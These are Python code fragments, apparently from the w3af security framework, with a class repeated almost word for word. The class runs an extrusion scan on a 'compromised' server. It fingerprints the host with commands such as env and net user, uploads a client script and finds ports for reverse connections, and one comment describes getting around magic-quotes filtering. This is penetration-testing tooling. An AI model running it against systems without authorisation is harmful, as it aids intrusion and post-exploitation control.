def get_transfer_handler(self, inbound_port=None): """ Perform an extrusion scan and return a handler that will know how to upload files to the remote end. If the caller sends an inbound_port, don't perform an extrusion scan, just trust him and use that port. :param inbound_port: The port that we should use for reverse connections :return: An object with a "transfer" method, which can be called by the user in order to upload files. """ os = os_detection_exec(self._exec_method) if os == 'windows': echo_transfer = EchoWindows(self._exec_method, os) elif os == 'linux': echo_transfer = EchoLinux(self._exec_method, os) else: echo_transfer = EchoLinux(self._exec_method, os) to_test = [echo_transfer] try: if not inbound_port: inbound_port = self._es.get_inbound_port() except BaseFrameworkException, w3: msg = ('The extrusion scan failed, no reverse connect transfer ' 'methods can be used. Trying inband echo transfer method.' ' Error: "%s"') om.out.error(msg % w3)
def test_upload_file(self): exec_method = commands.getoutput os = 'linux' echo_linux = EchoLinux(exec_method, os) self.assertTrue(echo_linux.can_transfer()) file_len = 8195 file_content = 'A' * file_len echo_linux.estimate_transfer_time(file_len) temp_file_inst = tempfile.NamedTemporaryFile() temp_fname = temp_file_inst.name upload_success = echo_linux.transfer(file_content, temp_fname) self.assertTrue(upload_success)
def __init__(self, exec_method, forceReRun=False, tcpPortList=[25, 80, 53, 1433, 8080], udpPortList=[53, 69, 139, 1025]): """ :param exec_method: The exec_method used to execute commands on the remote host :param forceReRun: If forceReRun is True, the extrusion scanner won't fetch the results from the KB """ self._exec_method = exec_method self._forceReRun = forceReRun self._tcp_port_list = tcpPortList self._udp_port_list = udpPortList os = os_detection_exec(exec_method) if os == 'windows': self._transferHandler = EchoWindows(exec_method, os) elif os == 'linux': self._transferHandler = EchoLinux(exec_method, os)
class extrusionScanner(object): """ This class is a wrapper that performs this process: - sends extrusion client to compromised machine - starts extrusion server - returns results from extrusion server to user :author: Andres Riancho ([email protected]) """ def __init__(self, exec_method, forceReRun=False, tcpPortList=[25, 80, 53, 1433, 8080], udpPortList=[53, 69, 139, 1025]): """ :param exec_method: The exec_method used to execute commands on the remote host :param forceReRun: If forceReRun is True, the extrusion scanner won't fetch the results from the KB """ self._exec_method = exec_method self._forceReRun = forceReRun self._tcp_port_list = tcpPortList self._udp_port_list = udpPortList os = os_detection_exec(exec_method) if os == 'windows': self._transferHandler = EchoWindows(exec_method, os) elif os == 'linux': self._transferHandler = EchoLinux(exec_method, os) def _getRemoteId(self): """ Runs some commands on the remote host, concatenates outputs and creates a hash of the results. This will be an unique identifier for the host. """ om.out.debug('Creating a remote server fingerprint.') r = self._exec('ipconfig /all') r += self._exec('ifconfig') r += self._exec('uname -a') r += self._exec('env') r += self._exec('net user') m = hashlib.md5() m.update(r) return m.hexdigest() def is_available(self, port, proto): try: if proto.lower() == 'tcp': serversocket = socket.socket( socket.AF_INET, socket.SOCK_STREAM) if proto.lower() == 'udp': serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) serversocket.bind(('', port)) serversocket.listen(5) except: return False else: serversocket.close() return True def estimate_scan_time(self): saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if saved_results: return 1 else: _, file_content, _ = self._selectExtrusionClient() return self._transferHandler.estimate_transfer_time(len(file_content)) + 8 def get_inbound_port(self, desiredProtocol='TCP'): """ Performs the process """ if not self._forceReRun: # Try to return the data from the kb ! remoteId = self._getRemoteId() saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if remoteId in saved_results: om.out.information( 'Reusing previous result from the knowledgeBase:') msg = '- Selecting port "%s" for inbound connections from the' msg += ' compromised server to w3af.' % saved_results[remoteId] om.out.information(msg) return saved_results[remoteId] om.out.information( 'Please wait some seconds while w3af performs an extrusion scan.') es = extrusionServer(self._tcp_port_list, self._udp_port_list) if not es.can_sniff(): msg = 'The user running w3af can\'t sniff on the specified' msg += ' interface. Hints: Are you root? Does this interface' msg += ' exist?' raise BaseFrameworkException(msg) else: # I can sniff, it makes sense to send the extrusion client interpreter, remoteFilename = self._sendExtrusionClient() # This sniffs for packets in a new thread sniff_thread = threading.Thread(target=es.sniff_and_analyze) sniff_thread.start() time.sleep(1) self._execExtrusionClient(interpreter, remoteFilename) res = es.get_result() om.out.information('Finished extrusion scan.') if not res: msg = 'No inbound ports have been found. Maybe the extrusion' msg += ' scan failed ?' raise BaseFrameworkException(msg) else: host = res[0][0] msg = 'The remote host: "%s" can connect to w3af with these ports:' om.out.information(msg % host) port = None portList = [] for x in res: if x[0] == host: port = x[1] protocol = x[2] om.out.information('- ' + str(port) + '/' + protocol) portList.append((port, protocol)) localPorts = [] for port, protocol in portList: if self.is_available(port, protocol): localPorts.append((port, protocol)) if not localPorts: raise BaseFrameworkException('All the inbound ports are in use.') else: msg = 'The following ports are not bound to a local process' msg += ' and can be used by w3af:' om.out.information(msg) for lp, proto in localPorts: om.out.information('- ' + str(lp) + '/' + proto) # Selecting the highest port if desiredProtocol.upper() == proto.upper(): port = lp msg = 'Selecting port "%s/%s" for inbound connections from' msg += ' the compromised server to w3af.' om.out.information(msg % (port, proto)) if not self._forceReRun: om.out.debug('Saving information in the kb.') saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if saved_results: saved_results[remoteId] = port else: saved_results = {} saved_results[remoteId] = port kb.kb.raw_write('extrusionScanner', 'extrusions', saved_results) return port def _sendExtrusionClient(self): interpreter, extrusionClient, extension = self._selectExtrusionClient() remoteFilename = get_remote_temp_file(self._exec_method) remoteFilename += '.' + extension # do the transfer apply(self._transferHandler.transfer, (extrusionClient, remoteFilename)) return interpreter, remoteFilename def _exec(self, command): """ A wrapper for executing commands """ om.out.debug('Executing: ' + command) response = apply(self._exec_method, (command,)) om.out.debug('"' + command + '" returned: ' + response) return response def can_scan(self): try: self._selectExtrusionClient() except: return False else: return True def _selectExtrusionClient(self): """ This method selects the extrusion client to use based on the remote OS and some other factors like: - is python installed ? - is perl installed ? - is phpcli installed ? - bash sockets ? - gcc compiler ? """ ### TODO! Implement this! if '6' in self._exec('python -c print+3+3'): # "python -c 'print 3+3'" fails with magic quotes on... but # this trick of the print+3+3 works ( returns 6 ) and ALSO evades # magic quotes filename = os.path.join(ROOT_PATH, 'core', 'controllers', 'extrusion_scanning', 'client', 'extrusionClient.py') fileContent = file(filename).read() extension = 'py' interpreter = 'python' else: msg = 'Failed to find a suitable extrusion scanner client for' msg += ' the remote system.' raise BaseFrameworkException(msg) return interpreter, fileContent, extension def _execExtrusionClient(self, interpreter, remoteFilename): local_address = cf.cf.get('local_ip_address') if local_address is None: raise Exception( 'Invalid environment: no local address found in cf.') cmd_fmt = '%s %s %s %s %s' cmd = cmd_fmt % (interpreter, remoteFilename, local_address, ','.join([str(x) for x in self._tcp_port_list]), ','.join([str(x) for x in self._udp_port_list])) res = self._exec(cmd) if 'OK.' not in res: raise BaseFrameworkException('The extrusion client failed to execute.') else: om.out.debug('The extrusion client run as expected.')
class extrusionScanner(object): """ This class is a wrapper that performs this process: - sends extrusion client to compromised machine - starts extrusion server - returns results from extrusion server to user :author: Andres Riancho ([email protected]) """ def __init__(self, exec_method, forceReRun=False, tcpPortList=[25, 80, 53, 1433, 8080], udpPortList=[53, 69, 139, 1025]): """ :param exec_method: The exec_method used to execute commands on the remote host :param forceReRun: If forceReRun is True, the extrusion scanner won't fetch the results from the KB """ self._exec_method = exec_method self._forceReRun = forceReRun self._tcp_port_list = tcpPortList self._udp_port_list = udpPortList os = os_detection_exec(exec_method) if os == 'windows': self._transferHandler = EchoWindows(exec_method, os) elif os == 'linux': self._transferHandler = EchoLinux(exec_method, os) def _getRemoteId(self): """ Runs some commands on the remote host, concatenates outputs and creates a hash of the results. This will be an unique identifier for the host. """ om.out.debug('Creating a remote server fingerprint.') r = self._exec('ipconfig /all') r += self._exec('ifconfig') r += self._exec('uname -a') r += self._exec('env') r += self._exec('net user') m = hashlib.md5() m.update(r) return m.hexdigest() def is_available(self, port, proto): try: if proto.lower() == 'tcp': serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if proto.lower() == 'udp': serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) serversocket.bind(('', port)) serversocket.listen(5) except: return False else: serversocket.close() return True def estimate_scan_time(self): saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if saved_results: return 1 else: _, file_content, _ = self._selectExtrusionClient() return self._transferHandler.estimate_transfer_time( len(file_content)) + 8 def get_inbound_port(self, desiredProtocol='TCP'): """ Performs the process """ if not self._forceReRun: # Try to return the data from the kb ! remoteId = self._getRemoteId() saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if remoteId in saved_results: om.out.information( 'Reusing previous result from the knowledgeBase:') msg = '- Selecting port "%s" for inbound connections from the' msg += ' compromised server to w3af.' % saved_results[remoteId] om.out.information(msg) return saved_results[remoteId] om.out.information( 'Please wait some seconds while w3af performs an extrusion scan.') es = extrusionServer(self._tcp_port_list, self._udp_port_list) if not es.can_sniff(): msg = 'The user running w3af can\'t sniff on the specified' msg += ' interface. Hints: Are you root? Does this interface' msg += ' exist?' raise BaseFrameworkException(msg) else: # I can sniff, it makes sense to send the extrusion client interpreter, remoteFilename = self._sendExtrusionClient() # This sniffs for packets in a new thread sniff_thread = threading.Thread(target=es.sniff_and_analyze) sniff_thread.start() time.sleep(1) self._execExtrusionClient(interpreter, remoteFilename) res = es.get_result() om.out.information('Finished extrusion scan.') if not res: msg = 'No inbound ports have been found. Maybe the extrusion' msg += ' scan failed ?' raise BaseFrameworkException(msg) else: host = res[0][0] msg = 'The remote host: "%s" can connect to w3af with these ports:' om.out.information(msg % host) port = None portList = [] for x in res: if x[0] == host: port = x[1] protocol = x[2] om.out.information('- ' + str(port) + '/' + protocol) portList.append((port, protocol)) localPorts = [] for port, protocol in portList: if self.is_available(port, protocol): localPorts.append((port, protocol)) if not localPorts: raise BaseFrameworkException( 'All the inbound ports are in use.') else: msg = 'The following ports are not bound to a local process' msg += ' and can be used by w3af:' om.out.information(msg) for lp, proto in localPorts: om.out.information('- ' + str(lp) + '/' + proto) # Selecting the highest port if desiredProtocol.upper() == proto.upper(): port = lp msg = 'Selecting port "%s/%s" for inbound connections from' msg += ' the compromised server to w3af.' om.out.information(msg % (port, proto)) if not self._forceReRun: om.out.debug('Saving information in the kb.') saved_results = kb.kb.raw_read('extrusionScanner', 'extrusions') if saved_results: saved_results[remoteId] = port else: saved_results = {} saved_results[remoteId] = port kb.kb.raw_write('extrusionScanner', 'extrusions', saved_results) return port def _sendExtrusionClient(self): interpreter, extrusionClient, extension = self._selectExtrusionClient() remoteFilename = get_remote_temp_file(self._exec_method) remoteFilename += '.' + extension # do the transfer apply(self._transferHandler.transfer, (extrusionClient, remoteFilename)) return interpreter, remoteFilename def _exec(self, command): """ A wrapper for executing commands """ om.out.debug('Executing: ' + command) response = apply(self._exec_method, (command, )) om.out.debug('"' + command + '" returned: ' + response) return response def can_scan(self): try: self._selectExtrusionClient() except: return False else: return True def _selectExtrusionClient(self): """ This method selects the extrusion client to use based on the remote OS and some other factors like: - is python installed ? - is perl installed ? - is phpcli installed ? - bash sockets ? - gcc compiler ? """ ### TODO! Implement this! if '6' in self._exec('python -c print+3+3'): # "python -c 'print 3+3'" fails with magic quotes on... but # this trick of the print+3+3 works ( returns 6 ) and ALSO evades # magic quotes filename = os.path.join(ROOT_PATH, 'core', 'controllers', 'extrusion_scanning', 'client', 'extrusionClient.py') fileContent = file(filename).read() extension = 'py' interpreter = 'python' else: msg = 'Failed to find a suitable extrusion scanner client for' msg += ' the remote system.' raise BaseFrameworkException(msg) return interpreter, fileContent, extension def _execExtrusionClient(self, interpreter, remoteFilename): local_address = cf.cf.get('local_ip_address') if local_address is None: raise Exception( 'Invalid environment: no local address found in cf.') cmd_fmt = '%s %s %s %s %s' cmd = cmd_fmt % (interpreter, remoteFilename, local_address, ','.join([ str(x) for x in self._tcp_port_list ]), ','.join([str(x) for x in self._udp_port_list])) res = self._exec(cmd) if 'OK.' not in res: raise BaseFrameworkException( 'The extrusion client failed to execute.') else: om.out.debug('The extrusion client run as expected.')